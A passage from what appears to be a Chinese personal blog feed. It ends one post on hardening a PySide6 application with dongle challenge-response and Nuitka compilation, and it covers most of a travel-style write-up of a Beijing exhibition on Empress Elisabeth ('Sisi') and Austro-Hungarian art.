<code>ViKeyRandom</code> 得到随机 challenge。</li><li>主机把 challenge 传到狗内，狗用内置密钥对 challenge 做 MAC（或用狗内的私钥做签名/加密），返回结果。</li><li>主机验证返回值是否与预期（使用公钥或本地算法验证）。</li><li>这样即使攻击者拷贝了狗内的静态数据，无法用静态 blob 通用地通过 challenge-response。</li></ol><p>示例伪码（借用 <code>ViKeyRandom</code>）：</p><pre class="language-python" data-language="python"><code class="language-python">rnd <span class="token operator">=</span> <span class="token punctuation">(</span>c_uint <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span>ViKeyRandom<span class="token punctuation">(</span>index<span class="token punctuation">,</span> byref<span class="token punctuation">(</span>rnd<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> byref<span class="token punctuation">(</span>rnd<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> byref<span class="token punctuation">(</span>rnd<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> byref<span class="token punctuation">(</span>rnd<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 把 rnd 打包后调用狗内 HMAC 接口或让狗返回签名并验证</span></code></pre><h3 id="5-实现注意事项">5 实现注意事项</h3><h4 id="5-1-Nuitka封装">5.1 Nuitka封装</h4><p>Nuitka追求速度，且不被反编译直接看到源码（优点：性能更快；缺点：打包资料少，成功率低，需要一些稳定的版本）Nuitka打包需要c环境，mingw64版本要求比较严格，如果不知道该如何下载合适的版本，使用Nuitka自带的源即可。</p><h4 id="5-2-打包成功日志">5.2 打包成功日志</h4><pre class="language-cmd" data-language="cmd"><code class="language-cmd">(base) PS C:\Users\users\Desktop\project&gt; python -m nuitka --standalone --mingw64 --enable-plugins&#x3D;pyside6 --remove-output --output-dir&#x3D;o application.pyNuitka-Options: Used command line options:Nuitka-Options:   --standalone --mingw64 --enable-plugins&#x3D;pyside6 --remove-output --output-dir&#x3D;o application.pyNuitka: Starting Python compilation with:Nuitka:   Version &#39;2.7.16&#39; on Python 3.12 (flavor &#39;Anaconda Python&#39;) commercial grade &#39;not installed&#39;.Nuitka-Plugins:pyside6: Unwanted import of &#39;PyQt5&#39; that conflicts with &#39;PySide6&#39; encountered, preventing its inclusion. As a result an &quot;ImportError&quot; might be given at run time. Uninstall the moduleNuitka-Plugins:pyside6: it for fully compatible behavior with the uncompiled code.Nuitka-Plugins:pyside6: Unwanted import of &#39;PyQt6&#39; that conflicts with &#39;PySide6&#39; encountered, preventing its inclusion. As a result an &quot;ImportError&quot; might be given at run time. Uninstall the moduleNuitka-Plugins:pyside6: it for fully compatible behavior with the uncompiled code.Nuitka-Plugins:anti-bloat: Not including &#39;pandas.core._numba.extensions&#39; automatically in order to avoid bloat, but this may cause: no numba acceleration.Nuitka-Plugins:matplotlib: Using configuration file or default backend &#39;qtagg&#39;.Nuitka: Completed Python level compilation and optimization.Nuitka: Generating source code for C backend compiler.Nuitka: Running data composer tool for optimal constant value handling.                                                   Nuitka: Running C compilation via Scons.Nuitka-Scons: Non downloaded winlibs-gcc &#39;C:\Users\users\Programs\mingw64\mingw64\bin\gcc.exe&#39; is being ignored, Nuitka is very dependent on the precise one.Nuitka-Scons: Backend C compiler: gcc (gcc 14.2.0).Nuitka-Scons: Backend C linking with 3010 files (no progress information available for this stage).Nuitka-Scons: Compiled 2984 C files using ccache.Nuitka-Scons: Cached C files (using ccache) with result &#39;cache hit&#39;: 2982Nuitka-Scons: Cached C files (using ccache) with result &#39;cache miss&#39;: 2Nuitka-Plugins:pyside6: Including Qt plugins &#39;iconengines,imageformats,platforms,styles,tls&#39; below &#39;PySide6\qt-plugins&#39;.Nuitka-Plugins:dll-files: Found 2 files DLLs from cv2 installation.Nuitka-Plugins:dll-files: Found 29 files DLLs from mkl installation.Nuitka-Plugins:dll-files: Found 29 files DLLs from numpy installation.Nuitka-Plugins:dll-files: Found 4 files DLLs from shiboken6 installation.Nuitka-Plugins:data-files: Included 803 data files due to package data directory &#39;locale-data&#39; for &#39;babel&#39;.                                 Nuitka-Plugins:data-files: Included data file &#39;babel\global.dat&#39; due to package data for &#39;babel&#39;.Nuitka-Plugins:data-files: Included 1656 data files due to package data directory &#39;data&#39; for &#39;botocore&#39;.Nuitka-Plugins:data-files: Included data file &#39;botocore\cacert.pem&#39; due to package data for &#39;botocore&#39;.Nuitka-Plugins:data-files: Included data file &#39;certifi\cacert.pem&#39; due to package data for &#39;certifi&#39;.Nuitka-Plugins:data-files: Included data file &#39;jaraco\text\Lorem ipsum.txt&#39; due to package data for &#39;jaraco.text&#39;.Nuitka-Plugins:matplotlib: Included 182 data files due to package data for &#39;matplotlib.Nuitka-Plugins:matplotlib: Included data file &#39;matplotlib\mpl-data\matplotlibrc&#39; due to updated matplotlib config file with backend to use.Nuitka-Plugins:data-files: Included data file &#39;pandas\io\formats\templates\html.tpl&#39; due to package data directory &#39;templates&#39; for &#39;pandas.io.formats&#39;.Nuitka-Plugins:data-files: Included data file &#39;pandas\io\formats\templates\html_style.tpl&#39; due to package data directory &#39;templates&#39; for &#39;pandas.io.formats&#39;.Nuitka-Plugins:data-files: Included data file &#39;pandas\io\formats\templates\html_table.tpl&#39; due to package data directory &#39;templates&#39; for &#39;pandas.io.formats&#39;.Nuitka-Plugins:data-files: Included data file &#39;pandas\io\formats\templates\latex.tpl&#39; due to package data directory &#39;templates&#39; for &#39;pandas.io.formats&#39;.Nuitka-Plugins:data-files: Included data file &#39;pandas\io\formats\templates\latex_longtable.tpl&#39; due to package data directory &#39;templates&#39; for &#39;pandas.io.formats&#39;.Nuitka-Plugins:data-files: Included data file &#39;pandas\io\formats\templates\latex_table.tpl&#39; due to package data directory &#39;templates&#39; for &#39;pandas.io.formats&#39;.Nuitka-Plugins:data-files: Included data file &#39;pandas\io\formats\templates\string.tpl&#39; due to package data directory &#39;templates&#39; for &#39;pandas.io.formats&#39;.Nuitka-Plugins:data-files: Included 603 data files due to package data directory &#39;zoneinfo&#39; for &#39;pytz&#39;.Nuitka-Plugins:data-files: Included data file &#39;scipy\stats\_sobol_direction_numbers.npz&#39; due to package data for &#39;scipy&#39;.Nuitka-Plugins:data-files: Included data file &#39;sklearn\utils\_estimator_html_repr.css&#39; due to package data for &#39;sklearn.utils&#39;.Nuitka: Removing build directory &#39;o\application.build&#39;.Nuitka: Successfully created &#39;~\Desktop\project\o\application.dist\application.exe&#39;.</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;div align=&quot;center&quot;&gt;&lt;h2&gt;Pyside6软件加密方案&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;​	针对Python开发的PySide6应用进行封装，并进行加密。目标是把应用封装成可执行文件，并让反向工程变得尽可能困难/昂贵**。**任何本地分发的软件都不可能做到“绝对不</summary>
      
    
    
    
    <category term="算法" scheme="https://blog.alexation.cn/categories/%E7%AE%97%E6%B3%95/"/>
    
    
    <category term="Python" scheme="https://blog.alexation.cn/tags/Python/"/>
    
    <category term="加密算法" scheme="https://blog.alexation.cn/tags/%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/"/>
    
  </entry>
  
  <entry>
    <title>茜茜公主（奥匈帝国的明珠）</title>
    <link href="https://blog.alexation.cn/exhibition/xixi/"/>
    <id>https://blog.alexation.cn/exhibition/xixi/</id>
    <published>2024-11-23T14:22:40.000Z</published>
    <updated>2025-11-23T06:39:18.810Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">茜茜公主与其时代的艺术</h1><h2 id="一、前言">一、前言</h2><p>天气逐渐变凉，赶在叶子还未落光，本次前往40km之外（游玩的时间还没有通勤时间长。。。🥹）的茜茜公主主题展体验别国的艺术文化，坐标玉渊潭公园。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/1.jpg" alt="要入冬啦！" style="zoom:50%;" /><p>其实早在2023年4月份我的一门德语电影赏析选修课上，老师带着我们就已经看过《茜茜公主》这部电影了。当然也存在这部分原因让我对这次的展览更加地感兴趣。影片注重强调茜茜公主的邂逅相恋故事，包括公主本人活泼开朗的性格，展示了她的天真、纯真。但从这次展览，我才更了解到公主的日常生活以及她的博学多识🎓。</p><p>还有很多细节比如海报上中文写“茜茜公主”，英文却标注“伊丽莎白女王”。这并非疏漏，而是为了尊重不同文化背景的习惯。在匈牙利，人们始终尊崇“伊丽莎白王后”这个称呼，饱含着国民对她深深的敬意以及独特的情感；而对于中国观众而言，“茜茜公主”这个称呼更贴近我们的情感记忆。这样的双语呈现，也希望能架起中匈文化交流的桥梁🤝。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/cover_book.jpg" alt="海报" style="zoom:50%;" /><p>这场展览不仅是一次艺术的盛宴，更是一场跨越时空的心灵对话。那么，让我们一起开始吧！🥳</p><h2 id="二、展览艺术背景">二、展览艺术背景</h2><p>2024年中匈两国迎来建交75周年。5月9日中两国领导人在布达佩斯宣布，中匈两国关系提升为新时代全天候全面战略伙伴关系。值此契机，中华世纪坛艺术馆联合匈牙利格德勒皇宫匈牙利国家博物馆及当地私人藏家，共同推出“奥匈帝国的明珠–茜茜公主与其时代的艺术”主题展。</p><p>该展览以时至今日仍备受匈牙利人民爱戴的茜茜公主的生活为主线，从“两大艺术收藏家族的联姻”“马卡特、蒙卡奇与本佐尔，塑造十九世纪奥匈帝国画坛的大师们”“公主的日常”“不朽的时尚符号”四个部分，全方位、多角度呈现茜茜公主所处十九世纪下半叶匈牙利的文化艺术。</p><p>十九世纪下半叶是匈牙利历史乃至艺术史上最重要的一个时代。“奥匈帝国的明珠”是国内最大规模系统性梳理、展示与研究茜茜公主与其时代的艺术主题展近 300件展品包含记录茜茜公主真实状态与生活的多幅油画肖像，和其生前生活用品(家具、衣物、带有中式图案的餐具)、历史照片，以及匈牙利民族绘画领袖蒙卡奇和多位活跃于十九世纪奥匈帝国的绘画大家的多幅珍贵原作。</p><p>75 年弹指一挥间，中匈友谊久经考验、历久弥新。本展览将成为中匈友好交流的重要载体，促进两国文化交流、艺术共享、文旅融合。谨以此展览纪念中匈建交 75 周年。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/2.jpg" alt="早鸟票送徽章" style="zoom:50%;" /><h2 id="三、展览内容介绍">三、展览内容介绍</h2><h3 id="1-两大艺术收藏家族的联姻">1.两大艺术收藏家族的联姻</h3><p>奥地利皇后伊丽莎白、匈牙利王后是当今世界上永远的“名人”之一、她享誉世界的名字叫“茜茜”（这是他的家族昵称，巴伐利亚公主伊丽莎白的所有兄弟姐妹在家族中都有一个很好听的昵称）。她的画像和饰有她肖像的纪念品非常畅销。许多人都相信 20 世纪 50 年代由恩斯特·马里施卡执导的《茜茜公主》三部影片中所描绘的田园生活画面，但如今，由于大量新的研究，越来越多的人将她视为当今现代女性的化身，她的生活方式、爱好、独特的着装等思维方式也走在了她所在时代的前列。</p><p>全名是伊丽莎白·阿梅莉亚·尤金妮娅的茜茜公主，于1837 年 12 月 24 日出生在慕尼黑巴伐利亚王室维策尔斯巴赫家族。这个古老的家族统治了巴伐利亚几个世纪。她的父亲，马克西米利安·约瑟夫公爵（1808-1888年）属于维策尔斯巴赫家族的小分支，他与其亲戚，茜茜公主的生母巴伐利亚公主玛丽亚·卢多维卡·威廉明妮（1808-1892年，其父是巴伐利亚国王马克西米利安一世,兄长是修建慕尼黑老绘画陈列馆的路德维希一世国王）联姻，茜茜是家中的第二个女儿。1853年夏天，15岁的茜茜公主陪伴她的姐姐海伦（1834-1890 年）和她的母亲卢多维卡前往奥地利温泉小镇巴特伊施尔参加奥地利帝国皇帝弗朗茨·约瑟夫一世（1830-1916年）的庆生活动。出乎所有人意料的是，坐拥哈布斯堡王朝历代收藏，日后下令兴建维也纳艺术史博物馆的弗朗茨·约瑟夫一世皇帝没有众望所归地选中姐姐，而对茜茜公主一见钟情。茜茜公主这朵美丽的“巴伐利亚玫瑰”于 1854 年4月24日在维也纳与奥地利统治者步入了爱情婚姻，成为了哈布斯堡王朝的伊丽莎白皇后，一个童话就此开始。</p><p>时至今日，慕尼黑巴伐利亚老绘画陈列馆和维也纳艺术史博物馆中所有的珍贵藏品都在诉说着两个皇室家族悠久的历史和出众的收藏品味。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/3.jpg" alt="好漂亮的婚纱" style="zoom:50%;" /><p>这套华丽的礼服由一条宽松米白色长裙、宽花边装饰以及环形衬裙组成。黑色天鹅绒腰部装饰大量珠饰花边和大丝带束，宽短的花边裙袖由黑色天鹅绒丝带束口。这套服装还配有一张系在钻石头饰上的长款蕾丝纱巾、一条系在裙子前面的蕾丝裙围以及一副手套原版背心由巴黎著名的查尔斯·沃斯时装沙龙制作，伊丽莎白王后经常光顾那里购物。服装重制的参考依据是埃米尔·拉本丁 1866 年拍摄的一系列照片。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/4.jpg" alt="笔法很细腻" style="zoom:50%;" /><p>画家菲洛普·拉斯洛基本上只与真人模特合作。他为多个欧洲王室成员和许多贵族画过画像，其中便包括弗朗茨·约瑟夫一世的两幅肖像。1899年夏天，他受邀为匈牙利皇家土地信用研究院大厅创作国王肖像画。在与国王的首次会面中，他带着一张空画布到场。弗朗茨·约瑟夫非常惊讶地问道：“画布上什么都没有吗？画家回道：“陛下还没坐下来让我开始画”。国王后来告诉这位艺术家，其他人都会事先根据照片画完他的脸，然后再在会面期间做些必要的修改即可。画家有意识地回答说他从不照着照片作画。最后，国王总共端坐那里五次，直到画作完成。（上图左）</p><p>1899年1月，这位著名的肖像画家应邀为国家博物馆创作一幅女王全身像。他根据由艾达·弗朗茨基和国王提供的指示和照片绘制了这幅作品，期间艾达和国王还访问了他在维也纳帝国酒店的工作室。这幅画作完成的地点不详。此处所展示的肖像素描可能也是在那个时候制作的，它由艾达·弗朗茨基赠给了伊丽莎白王后纪念博物馆。（上图右）</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/5.jpg" alt="国王的戒指" style="zoom:50%;" /><p>戒指的椭圆形顶部镶有 14 颗钻石，蓝色背景上印有弗朗茨·约瑟夫一世的名字首字母组合，上方为圣冠造型。戒指上的装饰采用小钻石和红色珐琅制成。1895年，卡罗利·斯拉迪斯（KárolySzladits）在其法学博士学位授予典礼上获得了这枚由匈牙利国王弗朗茨·约瑟夫一世授予的戒指。斯拉迪斯的儿媳伊洛娜·斯拉迪斯将其遗赠给匈牙利国家博物馆。这枚戒指由成立于1844 年的罗斯 C.F.&amp; 奈飞珠宝公司制作。维也纳年的罗斯 C.F.&amp; 奈飞珠宝公司于 1844年在维也纳成立，是哈布斯堡家族的重要供应商之一。</p><h3 id="2-塑造十九世纪奥匈帝国画坛的大师们">2.塑造十九世纪奥匈帝国画坛的大师们</h3><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>马卡特、蒙卡奇与本佐尔，塑造十九世纪奥匈帝国画坛的大师们~~~</p></div><p>十九世纪的奥匈帝国是两国历史上文化艺术最兴盛的时期。出生于 1840年，被誉为“画家中的王子，王子中的画家”的汉斯·马卡特虽英年早逝，但他却是奥地利十九世纪最具影响力的画家。身为年轻时克里姆特偶像的他凭借自己打造的“马卡特风格”奢华工作室在全欧范围内引起无数年轻画家争相效仿。1844年1月，匈牙利伟大的历史画家久拉·本佐尔出生;一个月后，被公认为匈牙利史上最伟大画家的米哈伊·蒙卡奇呱呱坠地。二人的降生不仅让匈牙利绘画艺术达到了前所未有的高度，更将影响力涉及到全欧。蒙卡奇“基督三部曲”中的首幅《基督在彼拉多前》曾创下十九世纪欧洲绘画的交易记录，他留下了四张同题材作品展览中展出的便是其中之一。值得一提的是，上述三位画家均有慕尼黑美术学院的留学背景。马卡特和本佐尔师出同门，都曾在慕尼黑美院任教的德国画家卡尔·冯·皮洛蒂门下习画，而本佐尔则与蒙卡奇同期在美院学习。毫不夸张地说，这三位绘画大师撑起了十九世纪下半叶奥匈帝国的“艺术门面”，如此级别的画家自然也免不了和皇室夫妇有所交集。</p><p>作为十九世纪奥地利的“绘画王子”，马卡特为弗朗茨·约瑟夫一世皇帝的贡献远不止绘画。作为皇室夫妇二人银婚庆典的总设计师，他负责所有参与环城大道庆典游行人群的服装、布景和马车设计。约共 15000人身穿鲁本斯和伦勃朗般的巴洛克时期服装参与了这场被誉为“马卡特庆典”的盛大游行，也让其名望达到巅峰。自成名之后常驻巴黎的蒙卡奇曾和伊丽莎白王后在宫廷招待会上有过几面之缘，画家虽未给后者绘制肖像，但却是王后极其欣赏的艺术家。当她下令在希腊科孚岛修建阿喀琉斯宫时，建筑内私人的祭坛上方她选择让工匠用马赛克镶嵌工艺复制了蒙卡奇的代表作《基督在彼拉多前》。伊丽莎白王后生前曾拜访过久拉·本佐尔的画室，当前者遇刺身亡后，弗朗茨·约瑟夫一世皇帝特别要求本佐尔为亡妻绘制肖像,这幅被匈牙利国家博物馆视为镇馆之宝之一的《伊丽莎白像》也在本单元展出。除了在本节聚焦这三位奥匈帝国绘画巨匠，与王后生前有私交的画家如米哈伊·齐奇、桑多尔·万格尔、拉斯洛·菲利普;被誉为“匈牙利莫奈”的蒙卡奇弟子约瑟夫·里普-罗奈伊等画家的作品也穿插在展览中，力图呈现出伊丽莎白皇后时代璀璨夺目的奥匈帝国画坛。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/6.jpg" alt="弗朗茨·李斯特" style="zoom:50%;" /><p>米哈伊·蒙卡奇(1844-1900)于1886年在巴黎为年迈的弗朗茨·李斯特画了最后一幅画。年轻时在蒙卡奇工作室工作的约瑟夫·里普尔-罗奈为这幅画做了一幅蚀刻画。该作品于1895年被列入到匈牙利国家博物馆的典藏名录之中。</p><p>弗朗茨·李斯特(1811-1886)是匈牙利最著名的钢琴家指挥家和音乐教育家。他是 19世纪最重要的浪漫主义作曲家之一，自豪地称自己是匈牙利人，尽管他的家人都说德语，但他在晚年学习了匈牙利语。他的父亲很早就发现了李斯特才华。他在维也纳和安东尼奥·萨列里一起学习，后来又去了巴黎学习。他的一生非常高产，创作了大约1400 首音乐作品，包括钢琴乐、交响乐、交响诗、狂想曲、圆舞曲和改编曲。他在欧洲各地举办音乐会，取得巨大的成功，同时还定期在匈牙利演出，并长期居住在魏玛。直到生命的最后，李斯特都与匈牙利贵族成员保持着极佳的友好关系，他曾在许多贵族晚会上作为嘉宾表演。应久拉·安德拉什伯爵和弗朗茨·戴阿克的要求，他于1875 年开始担任布达佩斯李斯特音乐学院的院长。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/7.jpg" alt="《基督三部曲》" style="zoom:50%;" /><p>米哈伊·蒙卡奇的《基督三部曲》是其绘画生涯集大成之作。他听取了艺术品商人、收藏家查尔斯·塞德迈尔的建议，从法国知识分子欧内斯特·勒南撰写的畅销书《耶稣的一生》中汲取灵感，并受丁托列托在圣洛克大会堂中的四张基督受难题材巨制启发，用近15年的时间完成了《基督三部曲》。长637厘米，宽 417 厘米的《基督在彼拉多前》是首幅完成的作品。画作描绘了被绳索捆着双手的耶稣基督站在决定他命运的罗马总督彼拉多身前接受审判的一幕。法利赛人聚集在一起，控告耶稣“我们见这人迷惑我们的国民，不许纳税给凯撒，并说自己是基督，是王”（路加福音23:2）。蒙卡奇为塑造法利赛人混乱的喊叫，与彼拉多和耶稣面对面沉思寂静之间戏剧性的紧张关系，他甚至聘请了一群犹太移民作为模特，受他指示使用手势和表情来表达强烈的情感。创作过程中他共绘制了 35 幅油画习作和画稿，展览中展出的版本便是其中一幅非常接近最终巨幅版本的油画稿之一。</p><h3 id="3-公主的日常">3.公主的日常</h3><p>茜茜公主继承了她父亲的天性和大胆行为。她遵循其社会地位长大成人，但她的童年比同阶层的孩子要自由得多。她和兄弟们在波森霍芬的家族宫殿里度过了许多时光，这座宫殿位于施塔恩贝格湖畔，距离慕尼黑 25 公里。她喜欢动物，尤其是狗和马，她还是小女孩的时候，就很擅长骑马。她着装时尚，爱好音乐聪明伶俐，富有同情心。</p><p>茜茜公主婚后并未在维也纳宫廷中找到自己的位置她很难完成许多代表其身份的官方任务;她受不了这些约束。她想要自由与和平，想和她的家人一起过私人生活。她几乎逃离了维也纳的宫廷，花越来越多的时间去旅行。在她的一生中，她走遍了欧洲，从马德拉群岛到埃及、希腊和科孚岛。她在科孚建造了一座宫殿，并以她最喜爱的古希腊英雄阿喀琉斯的名字命名为阿喀琉斯宫。她的消遣方式对于王后和社会顶端的贵妇来说是很不寻常的：骑马、击剑、体操、打、散步，几个小时的徒步，甚至尝试骑自行车。她是一名出色而勇敢的骑手。在欧洲，她被称为：“伊丽莎白群体狩猎女王，即使在英格兰和爱尔兰最困难的狩猎场也能坚守阵地。”她从利兹马戏团的歌舞女郎那里学到了驯马的技巧，并在维也纳和格德勒皇宫中高兴地向她的家人和客人展示她的马术。</p><p>伊丽莎白非常喜欢音乐，弹钢琴，并且可能在她父亲的影响下学会了齐特琴。她喜欢巴伐利亚的民间音乐也非常喜欢匈牙利的吉普赛音乐。她熟悉她那个时代的著名作曲家和几位作家的作品，例如弗朗茨·李斯特和理查德·瓦格纳。她最喜欢的歌剧是德国作曲家瓦格纳的《唐豪瑟》和匈牙利作曲家埃尔凯尔的《洪尧迪·拉斯洛》。</p><p>除了对文学、音乐和艺术的兴趣，伊丽莎白王后还是一位极其聪明博学的女士。除了母语德语，她还会说英语和法语、为了到匈牙利和希腊常驻，她还自学牙利语和希腊语。她用原语言阅读她最喜欢作家的作品：匈牙利爱国革命诗人山多尔·裴多菲·山多尔的诗歌匈牙利小说家莫尔·约卡伊的小说，以及古希腊抒情诗人荷马的作品。她喜欢诗歌，她最喜欢的诗人，是德国最后一位浪漫主义诗人海因里希·海涅。她还是个女孩时就自己写诗，成年后更是留有诗集。通过阅读其诗歌作品，我们可以了解到，伊丽莎白王后思想开明、敏感、内心深处热爱自然，她不断地做各种精神斗争时而绝望，时而忧郁，在生活中的不断地在寻找自己的位置，她有着正确的政治见解，敢于直言不讳地提出她的意见。😎</p><p>在本节中，我们能够近距离感受茜茜公主在匈牙利格德勒皇宫中的日常活动，去体验一位多才多艺且热爱自由的公主对远离宫廷生活的渴望。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/8.jpg" alt="格德勒皇宫" style="zoom:50%;" /><div class="tip cogs"><p>伊丽莎白王后说过：“秋天是最美的季节，当太阳与美景相别时，金色的泪水浸透了橡树。”</p></div><img src="https://img.alexation.cn/blog/post/exhibition/xixi/9.jpg" alt="格德勒皇宫" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/10.jpg" alt="格德勒皇宫" style="zoom:50%;" /><p>从 19 世纪中叶开始，人们绘制和拍摄了许多关于格德勒皇宫和王室公园的作品，但是关于宫殿内部和套房的作品却很少。1917年，画家珍诺·凯梅尼菲获准绘制了这幅关于弗朗茨·约瑟夫沙龙厅的作品。画中展示了沙龙厅的一部分，其特别之处在于观者可以通过门看到极具代表性的舞厅一角。这幅画作的视角是房间的左边角落，这是有关沙龙厅的照片中看不到的地方。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/11.jpg" alt="陶瓷平盘以及蛋糕铲" style="zoom:50%;" /><p>印有名字首字母“IFJ”的陶瓷平盘，饰有匈牙利王冠和白金图案。</p><p>镀金银质蛋糕铲，饰有花卉图案和匈牙利王冠。</p><h3 id="4-不朽的时尚符号">4.不朽的时尚符号</h3><p>女王外表同样很高贵。她身上带着一种特殊的个性光芒，外表美丽善良，有一双美丽的棕色眼睛，一头长长的赤褐色头发，1米 72 的身高纤细高挑。在她的一生中，她通过坚持不懈的健身塑型与保养努力保持传奇般的苗条身材，所以她几乎不断地节食，锻炼，以一种完全不同寻常的方式饮食。然而，她仅存的衣服证明她并没有瘦到病态。直到生命的最后一刻，她还能保持51-53 厘米的蜂腰。她穿衣风格独特、发型时尚，品味高雅，对当时女士的穿衣方式（尤其是在贵族圈子里）和时尚产生很大的影响。例如，在伊丽莎白的影响下以英国模式为基础的深色、以黑色为主的精致女性骑马服开始流行。“伊丽莎白”这个人今天仍然是人们关注的焦点。许多人认为她是一个榜样，研究她的生活对她的崇拜不仅在匈牙利和奥地利，而且在世界各地都越来越强烈。有很多小说、轻歌剧和音乐剧描写她的一生，关于她的电影也一部接一部。人们收集她的肖像，在拍卖会上花大价钱购买她的私人物品。伊丽莎白女王的人格魅力是什么，让 21 世纪的人们着迷？这仍然是她的秘密。😍</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/12.jpg" alt="时尚符号" style="zoom:50%;" /><p>**腰带：**19世纪下半叶，王后将一条非常时尚的瑞士腰带送给了她的侍女艾玛·门德尔尼。这位侍女是佩斯议会议员的女儿，受过教育，是最开始帮助伊丽莎白练习匈牙利语的人之一。婚后，她不得不离开宫廷服务，但她保留了王后送给她的物品，后来她的孙子将这些东西送到了博物馆。</p><p>**桌镜：**桌镜为果木内芯材质，带有银质托盘和铸造银质饰品，背面有金属支撑。前侧为独具风格的小提琴形状：底部和侧面各有一段凹入部分，底部有两个圆拱结构拥有波状轮廓的模制表面。在镜子顶部，可以看到匈牙利王后及奥地利皇后伊丽莎白·维策尔斯巴赫的姓名字母组合排列在盾形纹章之中。</p><p>**蕾丝：**伊丽莎白王后非常喜欢衣服上的蕾丝装饰，包括精美的蕾丝斗篷、披肩和蕾丝衣领。其中大部分都有布鲁塞尔风格的花边。这里展示的白色布鲁塞尔花边宽领是将两种蕾丝布带与机器布带后期手工缝合而成。外层蕾丝为手工制作（手工制作的布鲁塞尔针织蕾丝）内层蕾丝为缝合蕾丝。这件特殊的纺织品由王后诵读官艾达·弗朗茨基捐赠给了格德勒皇宫典藏。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/13.jpg" alt="雪白瓷花瓶" style="zoom:50%;" /><p>大型（48厘米）雪白瓷花瓶，双耳造型，饰有富丽的镀金饰物。中空的双扭曲蛇形手柄让其与众不同。底座部分含有蓝色十字剑图案，釉面上漆，由皇家瓷器制造厂在迈森制造。其形状由恩斯特·奥古斯特·洛伊特里茨在19世纪50年代设计。根据史料记载，这些装饰性花瓶曾为伊丽莎白王后所有，后来王后将它们送给了诵读官艾达·弗朗茨基。2001年，卡洛林·沃尔夫纳-汉托斯著名瓷器典藏品的继承人埃勒梅尔·汉托斯在其遗嘱中将这两个花瓶遗赠给了国家博物馆。</p><img src="https://img.alexation.cn/blog/post/exhibition/xixi/14.jpg" alt="伊丽莎白王后的全身雕像" style="zoom:50%;" /><p>1906 年，维也纳雕塑家赫尔曼·克洛茨受王后匈牙利宫廷中最忠诚的艾达·弗朗茨基、玛丽·费斯提女伯爵和弗朗茨·诺普科萨男爵的委托，用卡拉拉大理石创作了伊丽莎白王后的全身雕像。1908年，艾达·弗朗茨基将雕像赠送给布达佩斯为了纪念王后而建造的永恒纪念教堂。艾达·弗朗茨基向伊丽莎白王后纪念博物馆捐赠了一个石膏版的克洛茨雕像–该博物馆也于 1908 年开放。该雕像还被制成了一个微型版全身雕像和一个瓷质半身像。此处所展示的半身像为格德勒皇宫博物馆的藏品，也是艾达·弗朗茨基的遗物。</p><h3 id="5-装饰有东方图案的瓷器">5.装饰有东方图案的瓷器</h3><img src="https://img.alexation.cn/blog/post/exhibition/xixi/15.jpg" alt="装饰有东方图案的瓷器" style="zoom:50%;" /><p>19 世纪下半叶，欧洲艺术“重新发现”了东方艺术的神奇世界。东方文化的物品、形状和颜色总是显得神秘迷人和充满异国情调。他们急切地进行复制，在法语中称之为“中国风”，意思是中国风格的物品。在这种风格的物品装饰中，不仅出现了中国艺术形式的世界而且日本、印度和中东的元素也混合了欧洲的味道。</p><p>在19世纪50年代，已经得到认可的海兰德瓷器工厂的设计师在原来的柿右卫门咖啡杯的基础上装饰设计了这种特殊而细致的东方图案，其基础是风格化的树干和以砖红色和白色条纹排列的花朵。</p><p>这三种植物（松、竹、梅）在中国艺术中有着重要的意义，它们被认为是“岁寒三友”。除了植物装饰之外瓷器上还装饰有人类和动物的图案。这个模型被命名为“胭脂香”。它被称为“格德勒”图案，因为在 19 世纪 70 年代，弗朗茨·约瑟夫一世向他的妻子伊丽莎白女王赠送了一套装饰有这种东方装饰的套装，供她在备受喜爱的格德勒皇宫使用。海伦德瓷器制造厂的“格德勒”图案以及黄色和黑色版本的装饰至今仍很流行。</p><h2 id="四、其他图片">四、其他图片</h2><img src="https://img.alexation.cn/blog/post/exhibition/xixi/16.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/17.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/18.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/19.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/20.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/21.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/22.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/23.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/24.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/25.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/26.jpg" alt="" style="zoom:50%;" /><img src="https://img.alexation.cn/blog/post/exhibition/xixi/27.jpg" alt="" style="zoom:50%;" /><img 